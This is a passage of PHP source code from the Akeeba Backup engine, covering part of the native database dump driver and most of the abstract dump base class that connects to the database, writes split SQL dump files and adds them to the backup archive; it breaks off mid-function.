use Akeeba\Engine\Factory;
use RuntimeException;

#[\AllowDynamicProperties]
class Native extends Part
{
	/** @var DumpBase */
	private $_engine = null;

	private $tablePrefix;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Runs the preparation for this part. Should set _isPrepared
	 * to true
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Processing parameters");

		$options = null;

		// Get the DB connection parameters
		if (is_array($this->_parametersArray))
		{
			$driver   = $this->_parametersArray['driver'] ?? 'mysql';
			$prefix   = $this->_parametersArray['prefix'] ?? '';

			if (($driver == 'mysql') && !function_exists('mysql_connect'))
			{
				$driver = 'mysqli';
			}

			$options = [
				'driver'   => $driver,
				'host'     => $this->_parametersArray['host'] ?? '',
				'port'     => $this->_parametersArray['port'] ?? '',
				'user'     => $this->_parametersArray['user'] ?? ($this->_parametersArray['username'] ?? ''),
				'password' => $this->_parametersArray['password'] ?? '',
				'database' => $this->_parametersArray['database'] ?? '',
				'prefix'   => is_null($prefix) ? '' : $prefix,
			];

			$options['ssl'] = $this->_parametersArray['ssl'] ?? [];
			$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

			$options['ssl']['enable']             = (bool) ($options['ssl']['enable'] ?? $this->_parametersArray['dbencryption'] ?? false);
			$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $this->_parametersArray['dbsslcipher'] ?? null) ?: null;
			$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $this->_parametersArray['dbsslca'] ?? null) ?: null;
			$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $this->_parametersArray['dbsslcapath'] ?? null) ?: null;
			$options['ssl']['key']                = ($options['ssl']['key'] ?? $this->_parametersArray['dbsslkey'] ?? null) ?: null;
			$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $this->_parametersArray['dbsslcert'] ?? null) ?: null;
			$options['ssl']['verify_server_cert'] = (bool) (($options['ssl']['verify_server_cert'] ?? $this->_parametersArray['dbsslverifyservercert'] ?? false) ?: false);

		}

		$db         = Factory::getDatabase($options);

		if ($db->getErrorNum() > 0)
		{
			$error = $db->getErrorMsg();

			throw new RuntimeException(__CLASS__ . ' :: Database Error: ' . $error);
		}

		$driverType = $db->getDriverType();
		$className  = '\\Akeeba\\Engine\\Dump\\Native\\' . ucfirst($driverType);

		// Check if we have a native dump driver
		if (!class_exists($className, true))
		{
			$this->setState(self::STATE_ERROR);

			throw new ErrorException('Akeeba Engine does not have a native dump engine for ' . $driverType . ' databases');
		}

		Factory::getLog()->debug(__CLASS__ . " :: Instanciating new native database dump engine $className");

		$this->_engine = new $className;

		$this->_engine->setup($this->_parametersArray);

		$this->_engine->callStage('_prepare');
		$this->setState($this->_engine->getState());
		$this->tablePrefix = $this->_engine->getPrefix();
	}

	/**
	 * Runs the finalisation process for this part. Should set
	 * _isFinished to true.
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->_engine->callStage('_finalize');
		$this->setState($this->_engine->getState());
	}

	/**
	 * Runs the main functionality loop for this part. Upon calling,
	 * should set the _isRunning to true. When it finished, should set
	 * the _hasRan to true. If an error is encountered, setError should
	 * be used.
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$this->_engine->callStage('_run');
		$this->setState($this->_engine->getState());
		$this->setStep($this->_engine->getStep());
		$this->setSubstep($this->_engine->getSubstep());
		$this->partNumber = $this->_engine->partNumber;
	}

	/**
	 * Get the database table prefix
	 *
	 * @return string The database prefix
	 */
	public function getPrefix()
	{
		return $this->tablePrefix;
	}

}
com_akeeba/BackupEngine/Dump/Base.php000060400000107617152455305260013454 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Domain\Pack;
use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\HashTrait;
use Exception;
use RuntimeException;

#[\AllowDynamicProperties]
abstract class Base extends Part
{
	use HashTrait;
	use FileCloseAware;

	// **********************************************************************
	// Configuration parameters
	// **********************************************************************

	/** @var int Current dump file part number */
	public $partNumber = 0;

	/** @var string Prefix to this database */
	protected $prefix = '';

	/** @var string MySQL database server host name or IP address */
	protected $host = '';

	/** @var string MySQL database server port (optional) */
	protected $port = '';

	/** @var string MySQL socket or named pipe (optional) */
	protected $socket = '';

	/** @var string MySQL user name, for authentication */
	protected $username = '';

	/** @var string MySQL password, for authentication */
	protected $password = '';

	/** @var string MySQL database */
	protected $database = '';

	/** @var string The database driver to use */
	protected $driver = '';

	/** @var array|null The MySQL SSL options */
	protected $ssl;

	// **********************************************************************
	// File handling fields
	// **********************************************************************
	/** @var boolean Should I post process quoted values */
	protected $postProcessValues = false;

	/** @var string Absolute path to dump file; must be writable (optional; if left blank it is automatically calculated) */
	protected $dumpFile = '';

	/** @var string Data cache, used to cache data before being written to disk */
	protected $data_cache = '';

	/** @var int */
	protected $largest_query = 0;

	/** @var int Size of the data cache, default 128Kb */
	protected $cache_size = 131072;

	/** @var bool Should I process empty prefixes when creating abstracted names? */
	protected $processEmptyPrefix = true;

	/** @var string Absolute path to the temp file */
	protected $tempFile = '';

	/** @var string Relative path of how the file should be saved in the archive */
	protected $saveAsName = '';

	/** @var array Contains the sorted (by dependencies) list of tables/views to backup */
	protected $tables = [];

	// **********************************************************************
	// Protected fields (data handling)
	// **********************************************************************
	/** @var array Contains the configuration data of the tables */
	protected $tables_data = [];

	/** @var array Maps database table names to their abstracted format */
	protected $table_name_map = [];

	/** @var array Contains the dependencies of tables and views (temporary) */
	protected $dependencies = [];

	/** @var string The next table to backup */
	protected $nextTable;

	/** @var integer The next row of the table to start backing up from */
	protected $nextRange;

	/** @var integer Current table's row count */
	protected $maxRange;

	/** @var bool Use extended INSERTs */
	protected $extendedInserts = false;

	/** @var integer Maximum packet size for extended INSERTs, in bytes */
	protected $packetSize = 0;

	/** @var string Extended INSERT query, while it's being constructed */
	protected $query = '';

	/** @var int Dump part's maximum size */
	protected $partSize = 0;

	/** @var resource Filepointer to the current dump part */
	private $fp = null;

	/**
	 * Should I be using an abstract prefix (#__) for table names?
	 *
	 * @var   bool
	 * @since 9.1.0
	 */
	private $useAbstractPrefix;

	/**
	 * Public constructor.
	 *
	 * @return  void
	 * @since   9.1.0
	 */
	public function __construct()
	{
		$this->useAbstractPrefix =
			Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') !== 'output';

		parent::__construct();
	}


	/**
	 * This method is called when the factory is being serialized and is used to perform necessary cleanup steps.
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->closeFile();
	}

	/**
	 * This method is called when the object is destroyed and is used to perform necessary cleanup steps.
	 */
	public function __destruct()
	{
		$this->closeFile();
	}

	/**
	 * Close any open SQL dump (output) file.
	 */
	public function closeFile()
	{
		if (!is_resource($this->fp))
		{
			return;
		}

		Factory::getLog()->debug("Closing SQL dump file.");

		$this->conditionalFileClose($this->fp);
		$this->fp = null;
	}

	/**
	 * Call a specific stage of the dump engine
	 *
	 * @param   string  $stage
	 *
	 * @throws Exception
	 */
	public function callStage($stage)
	{
		switch ($stage)
		{
			case '_prepare':
				$this->_prepare();
				break;

			case '_run':
				$this->_run();
				break;

			case '_finalize':
				$this->_finalize();
				break;
		}
	}

	public function getPrefix(): string
	{
		return $this->prefix ?: '';
	}

	/**
	 * Find where to store the backup files
	 *
	 * @param $partNumber int The SQL part number, default is 0 (.sql)
	 */
	protected function getBackupFilePaths($partNumber = 0)
	{
		Factory::getLog()->debug(__CLASS__ . " :: Getting temporary file");
		$basename       = substr(self::md5(microtime() . random_bytes(8)), random_int(0, 16), 16);
		$this->tempFile = Factory::getTempFiles()->registerTempFile($basename . '.sql');
		Factory::getLog()->debug(__CLASS__ . " :: Temporary file is {$this->tempFile}");

		// Get the base name of the dump file
		$partNumber = intval($partNumber);
		$baseName   = $this->dumpFile;

		if ($partNumber > 0)
		{
			// The file names are in the format dbname.sql, dbname.s01, dbname.s02, etc
			if (strtolower(substr($baseName, -4)) == '.sql')
			{
				$baseName = substr($baseName, 0, -4) . '.s' . sprintf('%02u', $partNumber);
			}
			else
			{
				$baseName = $baseName . '.s' . sprintf('%02u', $partNumber);
			}
		}

		if (empty($this->installerSettings))
		{
			// Fetch the installer settings
			$this->installerSettings = (object) [
				'installerroot' => 'installation',
				'sqlroot'       => 'installation/sql',
				'databasesini'  => 1,
				'readme'        => 1,
				'extrainfo'     => 1,
			];
			$config                  = Factory::getConfiguration();
			$installerKey            = $config->get('akeeba.advanced.embedded_installer');
			$installerDescriptors    = Factory::getEngineParamsProvider()->getInstallerList();

			if (array_key_exists($installerKey, $installerDescriptors))
			{
				// The selected installer exists, use it
				$this->installerSettings = (object) $installerDescriptors[$installerKey];
			}
			elseif (array_key_exists('angie', $installerDescriptors))
			{
				// The selected installer doesn't exist, but ANGIE exists; use that instead
				$this->installerSettings = (object) $installerDescriptors['angie'];
			}
		}

		switch (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal'))
		{
			case 'output':
				// The SQL file will be stored uncompressed in the output directory
				$statistics       = Factory::getStatistics();
				$statRecord       = $statistics->getRecord();
				$this->saveAsName = $statRecord['absolute_path'];
				break;

			case 'normal':
				// The SQL file will be stored in the SQL root of the archive, as
				// specified by the particular embedded installer's settings
				$this->saveAsName = $this->installerSettings->sqlroot . '/' . $baseName;
				break;

			case 'short':
				// The SQL file will be stored on archive's root
				$this->saveAsName = $baseName;
				break;
		}

		if ($partNumber > 0)
		{
			Factory::getLog()->debug("AkeebaDomainDBBackup :: Creating new SQL dump part #$partNumber");
		}

		Factory::getLog()->debug("AkeebaDomainDBBackup :: SQL temp file is " . $this->tempFile);
		Factory::getLog()->debug("AkeebaDomainDBBackup :: SQL file location in archive is " . $this->saveAsName);
	}

	/**
	 * Deletes any leftover files from previous backup attempts
	 *
	 */
	protected function removeOldFiles()
	{
		Factory::getLog()->debug("AkeebaDomainDBBackup :: Deleting leftover files, if any");

		if (file_exists($this->tempFile))
		{
			@unlink($this->tempFile);
		}
	}

	/**
	 * Populates the table arrays with the information for the db entities to back up
	 *
	 * @return  void
	 */
	abstract protected function getTablesToBackup(): void;

	/**
	 * Runs a step of the database dump
	 *
	 * @return  void
	 */
	abstract protected function stepDatabaseDump(): void;

	/**
	 * Return the current database name by querying the database connection object (e.g. SELECT DATABASE() in MySQL)
	 *
	 * @return  string
	 */
	abstract protected function getDatabaseNameFromConnection(): string;

	abstract protected function getAllTables(): array;

	/**
	 * Implements the _prepare abstract method
	 *
	 * @throws Exception
	 */
	protected function _prepare()
	{
		$this->setStep('Initialization');
		$this->setSubstep('');

		// Process parameters, passed to us using the setup() public method
		Factory::getLog()->debug(__CLASS__ . " :: Processing parameters");

		if (is_array($this->_parametersArray))
		{
			$this->parametersArrayToProperties();
		}

		// Try to detect and rectify the wrong database table naming prefix
		$this->workaroundWrongPrefix();

		// Make sure we have self-assigned the first part
		$this->partNumber = 0;

		// Get DB backup only mode
		$configuration = Factory::getConfiguration();

		// Find tables to be included and put them in the $_tables variable
		$this->getTablesToBackup();

		// Find where to store the database backup files
		$this->getBackupFilePaths($this->partNumber);

		// Remove any leftovers
		$this->removeOldFiles();

		// Initialize the extended INSERTs feature
		$this->extendedInserts = ($configuration->get('engine.dump.common.extended_inserts', 0) != 0);
		$this->packetSize      = (int) $configuration->get('engine.dump.common.packet_size', 0);

		if ($this->packetSize == 0)
		{
			$this->extendedInserts = false;
		}

		// Initialize the split dump feature
		$this->partSize = $configuration->get('engine.dump.common.splitsize', 1048576);
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'output')
		{
			$this->partSize = 0;
		}
		if (($this->partSize != 0) && ($this->packetSize != 0) && ($this->packetSize > $this->partSize))
		{
			$this->packetSize = floor($this->partSize / 2);
		}

		// Initialize the algorithm
		Factory::getLog()->debug(__CLASS__ . " :: Initializing algorithm for first run");
		$this->nextTable = array_shift($this->tables);

		// If there is no table to back up we are done with the database backup
		if (empty($this->nextTable) && $this->nextTable !== '0')
		{
			$this->setState(self::STATE_POSTRUN);

			return;
		}

		$this->nextRange = 0;
		$this->query     = '';

		// FIX 2.2: First table of extra databases was not being written to disk.
		// This deserved a place in the Bug Fix Hall Of Fame. In subsequent calls to _init, the $fp in
		// _writeline() was not nullified. Therefore, the first dump chunk (that is, the first table's
		// definition and first chunk of its data) were not written to disk. This call causes $fp to be
		// nullified, causing it to be recreated, pointing to the correct file.
		$null = null;
		$this->writeline($null);

		// Finally, mark ourselves "prepared".
		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @throws Exception
	 */
	protected function _run()
	{
		// Check if we are already done
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep("");
			$this->setSubstep("");

			return;
		}

		// Mark ourselves as still running (we will test if we actually do towards the end ;) )
		$this->setState(self::STATE_RUNNING);

		/**
		 * Resume packing / post-processing part files if necessary.
		 *
		 * @see \Akeeba\Engine\Archiver\BaseArchiver::putDataFromFileIntoArchive
		 *
		 * Sometimes the SQL part file may be bigger than the big file threshold (engine.archiver.common.
		 * big_file_threshold). In this case when we try to add it to the backup archive the archiver engine figures
		 * out it has to be added uncompressed, one chunk (engine.archiver.common.chunk_size) bytes at a time. This
		 * happens in a loop. We read a chunk, push it to the archive, rinse and repeat.
		 *
		 * There are two cases when we might break the loop:
		 *
		 * 1. Not enough free space in the backup archive part and engine.postproc.common.after_part (immediate post-
		 *    processing) is enabled. We break the step to let the backup part be post-processed.
		 *
		 * 2. We ran out of time copying data.
		 *
		 * The following if-blocks deal with these two cases.
		 */
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') != 'output')
		{
			$archiver      = Factory::getArchiverEngine();
			$configuration = Factory::getConfiguration();

			// Check whether we need to immediately post-processing a done part
			if (Pack::postProcessDonePartFile($archiver, $configuration))
			{
				return;
			}

			// We had already started putting the DB dump file into the archive but it needs more time
			if ($configuration->get('volatile.engine.archiver.processingfile', false))
			{
				/**
				 * We MUST NOT try to continue adding the file to the backup archive manually. Instead, we have to go
				 * through getNextDumpPart. This method will continue adding the part to the backup archive and when
				 * this is done it will remove the file and create a new one.
				 *
				 * If that method returns false it means that we either hit an error or the archiver didn't have enough
				 * time to add the part to the backup archive. In either case we have to return and let the Engine step.
				 */
				if ($this->getNextDumpPart() === false)
				{
					return;
				}
			}
		}

		$this->stepDatabaseDump();

		$null = null;
		$this->writeline($null);
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 * @throws Exception
	 */
	protected function _finalize()
	{
		Factory::getLog()->debug("Adding any extra SQL statements imposed by the filters");

		foreach (Factory::getFilters()->getExtraSQL($this->databaseRoot) as $sqlStatement)
		{
			$sqlStatement = trim($sqlStatement) . "\n";

			$this->writeDump($sqlStatement, true);
		}

		// We need this to write out the cached extra SQL statements before closing the file.
		$this->writeDump(null, true);

		// Close the file pointer (otherwise the SQL file is left behind)
		$this->closeFile();

		// If we are not just doing a main db only backup, add the SQL file to the archive
		$finished = true;

		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') != 'output')
		{
			$archiver      = Factory::getArchiverEngine();
			$configuration = Factory::getConfiguration();

			if ($configuration->get('volatile.engine.archiver.processingfile', false))
			{
				// We had already started archiving the db file, but it needs more time
				Factory::getLog()->debug("Continuing adding the SQL dump to the archive");
				$archiver->addFile(null, null, null);

				$finished = !$configuration->get('volatile.engine.archiver.processingfile', false);
			}
			else
			{
				// We have to add the dump file to the archive
				Factory::getLog()->debug("Adding the final SQL dump to the archive");
				$archiver->addFileRenamed($this->tempFile, $this->saveAsName);

				$finished = !$configuration->get('volatile.engine.archiver.processingfile', false);
			}
		}
		else
		{
			// We just have to move the dump file to its final destination
			Factory::getLog()->debug("Moving the SQL dump to its final location");
			$result = Platform::getInstance()->move($this->tempFile, $this->saveAsName);

			if (!$result)
			{
				Factory::getLog()->debug("Removing temporary file of final SQL dump");
				Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

				throw new RuntimeException('Could not move the SQL dump to its final location');
			}
		}

		// Make sure that if the archiver needs more time to process the file we can supply it
		if ($finished)
		{
			Factory::getLog()->debug("Removing temporary file of final SQL dump");
			Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

			$this->setState(self::STATE_FINISHED);
		}
	}

	/**
	 * Creates a new dump part
	 *
	 * @return bool
	 * @throws Exception
	 */
	protected function getNextDumpPart()
	{
		// On database dump only mode we mustn't create part files!
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'output')
		{
			return false;
		}

		// Is the archiver still processing?
		$configuration   = Factory::getConfiguration();
		$archiver        = Factory::getArchiverEngine();
		$stillProcessing = $configuration->get('volatile.engine.archiver.processingfile', false);

		if ($stillProcessing)
		{
			/**
			 * The archiver is still adding the previous dump part. This means that we are called from the top few lines
			 * of the _run method. We must continue adding the previous dump part.
			 */
			Factory::getLog()->debug("Continuing adding the SQL dump part to the archive");
			$archiver->addFile('', '', '');
		}
		else
		{
			/**
			 * There is no other dump part being processed. Therefore the current SQL dump part is still open. We must
			 * close it and ask the archiver to add it to the backup archive.
			 */
			$this->closeFile();
			Factory::getLog()->debug("Adding the SQL dump part to the archive");
			$archiver->addFileRenamed($this->tempFile, $this->saveAsName);
		}

		// Return false if the file didn't finish getting added to the archive
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			Factory::getLog()->debug("The SQL dump file has not been processed thoroughly by the archiver. Resuming in the next step.");

			return false;
		}

		/**
		 * If you are here the SQL dump part file is completely added to the backup archive. All we have to do now is
		 * remove it and create a new dump part file.
		 */
		// Remove the old file
		Factory::getLog()->debug("Removing dump part's temporary file");
		Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

		// Create the new dump part
		$this->partNumber++;
		$this->getBackupFilePaths($this->partNumber);
		$null = null;
		$this->writeline($null);

		return true;
	}

	/**
	 * Creates a new dump part, but only if required to do so
	 *
	 * @return bool
	 * @throws Exception
	 */
	protected function createNewPartIfRequired()
	{
		if ($this->partSize == 0)
		{
			return true;
		}

		$filesize = 0;

		if (@file_exists($this->tempFile))
		{
			$filesize = @filesize($this->tempFile);
		}

		$projectedSize = $filesize + strlen($this->query);

		if ($this->extendedInserts)
		{
			$projectedSize = $filesize + $this->packetSize;
		}

		if ($projectedSize > $this->partSize)
		{
			return $this->getNextDumpPart();
		}

		return true;
	}

	/**
	 * Returns a table's abstract name (replacing the prefix with the magic #__ string)
	 *
	 * @param   string  $tableName  The canonical name, e.g. 'jos_content'
	 *
	 * @return string The abstract name, e.g. '#__content'
	 */
	protected function getAbstract($tableName)
	{
		// Don't return abstract names for non-CMS tables
		if (is_null($this->prefix))
		{
			return $tableName;
		}

		switch ($this->prefix)
		{
			case '':
				if ($this->processEmptyPrefix)
				{
					// This is more of a hack; it assumes all tables are core CMS tables if the prefix is empty.
					return '#__' . $tableName;
				}

				// If $this->processEmptyPrefix (the process_empty_prefix config flag) is false, we don't
				// assume anything.
				return $tableName;

				break;

			default:
				// Normal behaviour for 99% of sites. Start by assuming the table has no prefix, therefore is non-core.
				$tableAbstract = $tableName;

				// If there's a prefix use the abstract name
				if (!empty($this->prefix) && (substr($tableName, 0, strlen($this->prefix)) == $this->prefix))
				{
					$tableAbstract = '#__' . substr($tableName, strlen($this->prefix));
				}

				return $tableAbstract;

				break;
		}
	}

	/**
	 * Writes the SQL dump into the output files. If it fails, it sets the error
	 *
	 * @param   string  $data       Data to write to the dump file. Pass NULL to force flushing to file.
	 * @param   bool    $addMarker  Should I prefix the data with a marker?
	 *
	 * @return  boolean  TRUE on successful write, FALSE otherwise
	 * @throws  Exception
	 */
	protected function writeDump($data, $addMarker = false)
	{
		if (!empty($data))
		{
			if ($addMarker && $this->useAbstractPrefix)
			{
				$this->data_cache .= '/**ABDB**/';
			}
			elseif (!$this->useAbstractPrefix)
			{
				// Replace #__ with the prefix when writing plain .sql files
				$db   = $this->getDB();
				$data = $db->replacePrefix($data) . "\n";
			}

			$this->data_cache .= $data;

			if (strlen($data) > $this->largest_query)
			{
				$this->largest_query = strlen($data);
				Factory::getConfiguration()->set('volatile.database.largest_query', $this->largest_query);
			}
		}

		if ((strlen($this->data_cache) >= $this->cache_size) || (is_null($data) && (!empty($this->data_cache))))
		{
			$this->data_cache = rtrim($this->data_cache, "\n");

			if ($this->useAbstractPrefix && $addMarker && substr($this->data_cache, -10) !== '/**ABDB**/')
			{
				$this->data_cache .= '/**ABDB**/';
			}

			$this->data_cache .= "\n";

			Factory::getLog()->debug("Writing " . strlen($this->data_cache) . " bytes to the dump file");
			$result = $this->writeline($this->data_cache);

			if (!$result)
			{
				$errorMessage = sprintf('Couldn\'t write to the SQL dump file %s; check the temporary directory permissions and make sure you have enough disk space available.', $this->tempFile);
				throw new RuntimeException($errorMessage);
			}

			$this->data_cache = '';
		}

		return true;
	}

	/**
	 * Saves the string in $fileData to the file $backupfile. Returns TRUE. If saving
	 * failed, return value is FALSE.
	 *
	 * @param   string  $fileData  Data to write. Set to null to close the file handle.
	 *
	 * @return boolean TRUE is saving to the file succeeded
	 * @throws Exception
	 */
	protected function writeline(&$fileData)
	{
		if (!is_resource($this->fp))
		{
			$this->fp = @fopen($this->tempFile, 'a');

			if ($this->fp === false)
			{
				throw new RuntimeException('Could not open ' . $this->tempFile . ' for append, in DB dump.');
			}
		}

		if (is_null($fileData))
		{
			$this->conditionalFileClose($this->fp);

			$this->fp = null;

			return true;
		}
		else
		{
			if ($this->fp)
			{
				$ret = fwrite($this->fp, $fileData);
				@clearstatcache();

				// Make sure that all data was written to disk
				return ($ret == strlen($fileData));
			}

			return false;
		}
	}

	/**
	 * Return an instance of DriverBase
	 *
	 * @return DriverBase|bool
	 *
	 * @throws Exception
	 */
	protected function &getDB()
	{
		$ssl     = $this->ssl ?? [];
		$ssl     = is_array($ssl) ? $ssl : [];
		$options = [
			'driver'   => $this->driver,
			'host'     => $this->host,
			'port'     => $this->port,
			'socket'   => $this->socket,
			'user'     => $this->username,
			'password' => $this->password,
			'database' => $this->database,
			'prefix'   => is_null($this->prefix) ? '' : $this->prefix,
			'ssl'      => $ssl,
		];

		$db = Factory::getDatabase($options);

		if ($db->getErrorNum() > 0)
		{
			$error = $db->getErrorMsg();

			throw new RuntimeException(__CLASS__ . ' :: Database Error: ' . $error);
		}

		return $db;
	}

	/**
	 * Returns the database name. If the name was not declared when the object was created we will go through the
	 * getDatabaseNameFromConnection method to populate it.
	 *
	 * @return  string
	 */
	protected function getDatabaseName()
	{
		if (empty($this->database) && $this->database !== '0')
		{
			$this->database = $this->getDatabaseNameFromConnection();
		}

		return $this->database;
	}

	/**
	 * Post process a quoted value before it's written to the database dump.
	 * So far it's only required for SQL Server which has a problem escaping
	 * newline characters...
	 *
	 * @param   string  $value  The quoted value to post-process
	 *
	 * @return  string
	 */
	protected function postProcessQuotedValue($value)
	{
		return $value;
	}

	/**
	 * Returns a preamble for the data dump portion of the SQL backup. This is
	 * used to output commands before the first INSERT INTO statement for a
	 * table when outputting a plain SQL file.
	 *
	 * Practical use: the SET IDENTITY_INSERT sometable ON required for SQL Server
	 *
	 * @param   string   $tableAbstract  Abstract name of the table, e.g. #__foobar
	 * @param   string   $tableName      Real name of the table, e.g. abc_foobar
	 * @param   integer  $maxRange       Row count on this table
	 *
	 * @return  string   The SQL commands you want to be written in the dump file
	 */
	protected function getDataDumpPreamble($tableAbstract, $tableName, $maxRange)
	{
		return '';
	}

	/**
	 * Returns an epilogue for the data dump portion of the SQL backup. This is
	 * used to output commands after the last INSERT INTO statement for a
	 * table when outputting a plain SQL file.
	 *
	 * Practical use: the SET IDENTITY_INSERT sometable OFF required for SQL Server
	 *
	 * @param   string   $tableAbstract  Abstract name of the table, e.g. #__foobar
	 * @param   string   $tableName      Real name of the table, e.g. abc_foobar
	 * @param   integer  $maxRange       Row count on this table
	 *
	 * @return  string   The SQL commands you want to be written in the dump file
	 */
	protected function getDataDumpEpilogue($tableAbstract, $tableName, $maxRange)
	{
		return '';
	}

	/**
	 * Return a list of field names for the INSERT INTO statements. This is only
	 * required for Microsoft SQL Server because without it the SET IDENTITY_INSERT
	 * has no effect.
	 *
	 * @param   array|string  $fieldNames  A list of field names in array format or '*' if it's all fields
	 *
	 * @return  string
	 * @throws Exception
	 */
	protected function getFieldListSQL($fieldNames)
	{
		// If we get a literal '*' we dumped all columns so we don't need to add column names in the INSERT.
		if ($fieldNames === '*')
		{
			return '';
		}

		return '(' . implode(', ', array_map([$this->getDB(), 'qn'], $fieldNames)) . ')';
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		return '*';
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	protected function humanToIntegerBytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower($val[strlen($val) - 1]);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Get the PHP memory limit in bytes
	 *
	 * @return int|null  Memory limit in bytes or null if we can't figure it out.
	 */
	protected function getMemoryLimit()
	{
		if (!function_exists('ini_get'))
		{
			return null;
		}

		$memLimit = ini_get("memory_limit");

		if ((is_numeric($memLimit) && ($memLimit < 0)) || !is_numeric($memLimit))
		{
			$memLimit = 0; // 1.2a3 -- Rare case with memory_limit < 0, e.g. -1Mb!
		}

		$memLimit = $this->humanToIntegerBytes($memLimit);

		return $memLimit;
	}

	/**
	 * @return void
	 */
	private function parametersArrayToProperties(): void
	{
		$this->driver             = $this->_parametersArray['driver'] ?? $this->driver;
		$this->host               = $this->_parametersArray['host'] ?? $this->host;
		$this->port               = $this->_parametersArray['port'] ?? $this->port;
		$this->socket             = $this->_parametersArray['socket'] ?? $this->socket;
		$this->username           = $this->_parametersArray['username'] ?? $this->username;
		$this->username           = $this->_parametersArray['user'] ?? $this->username;
		$this->password           = $this->_parametersArray['password'] ?? $this->password;
		$this->database           = $this->_parametersArray['database'] ?? $this->database;
		$this->prefix             = $this->_parametersArray['prefix'] ?? $this->prefix;
		$this->dumpFile           = $this->_parametersArray['dumpFile'] ?? $this->dumpFile;
		$this->processEmptyPrefix = $this->_parametersArray['process_empty_prefix'] ?? $this->processEmptyPrefix;
		$this->ssl                = $this->_parametersArray['ssl'] ?? $this->ssl;
		$this->ssl                = is_array($this->ssl) ? $this->ssl : [];

		$this->ssl['enable']             = (bool) (($this->ssl['enable'] ?? $this->_parametersArray['dbencryption'] ?? false) ?: false);
		$this->ssl['cipher']             = ($this->ssl['cipher'] ?? $this->_parametersArray['dbsslcipher'] ?? null) ?: null;
		$this->ssl['ca']                 = ($this->ssl['ca'] ?? $this->_parametersArray['dbsslca'] ?? null) ?: null;
		$this->ssl['capath']             = ($this->ssl['capath'] ?? $this->_parametersArray['dbsslcapath'] ?? null) ?: null;
		$this->ssl['key']                = ($this->ssl['key'] ?? $this->_parametersArray['dbsslkey'] ?? null) ?: null;
		$this->ssl['cert']               = ($this->ssl['cert'] ?? $this->_parametersArray['dbsslcert'] ?? null) ?: null;
		$this->ssl['verify_server_cert'] = (bool) (($this->ssl['verify_server_cert'] ?? $this->_parametersArray['dbsslverifyservercert'] ?? false) ?: false);
	}

	private function workaroundWrongPrefix(): void
	{
		// Let's see what kind of prefix I have
		$allLowerCasePrefix = strtolower($this->prefix);
		$allUpperCasePrefix = strtoupper($this->prefix);
		$isUpperCasePrefix  = $this->prefix === $allUpperCasePrefix;
		$isLowerCasePrefix  = $this->prefix === $allLowerCasePrefix;
		$isMixedCasePrefix  = !$isUpperCasePrefix && !$isLowerCasePrefix;

		// Log a message
		if ($isUpperCasePrefix)
		{
			Factory::getLog()->info(
				sprintf(
					'You have an all uppercase database prefix (%s). This might cause backup and restoration issues. We are applying automatic mitigations.',
					$this->prefix
				)
			);
		}
		elseif (!$isLowerCasePrefix)
		{
			Factory::getLog()->info(
				sprintf(
					'You have a mixed-case database prefix (%s). This might cause backup and restoration issues. We are applying automatic mitigations.',
					$this->prefix
				)
			);
		}

		// Check if I have any tables with any form of the prefix
		$allTables = $this->getAllTables();

		$hasOriginalTables = array_reduce(
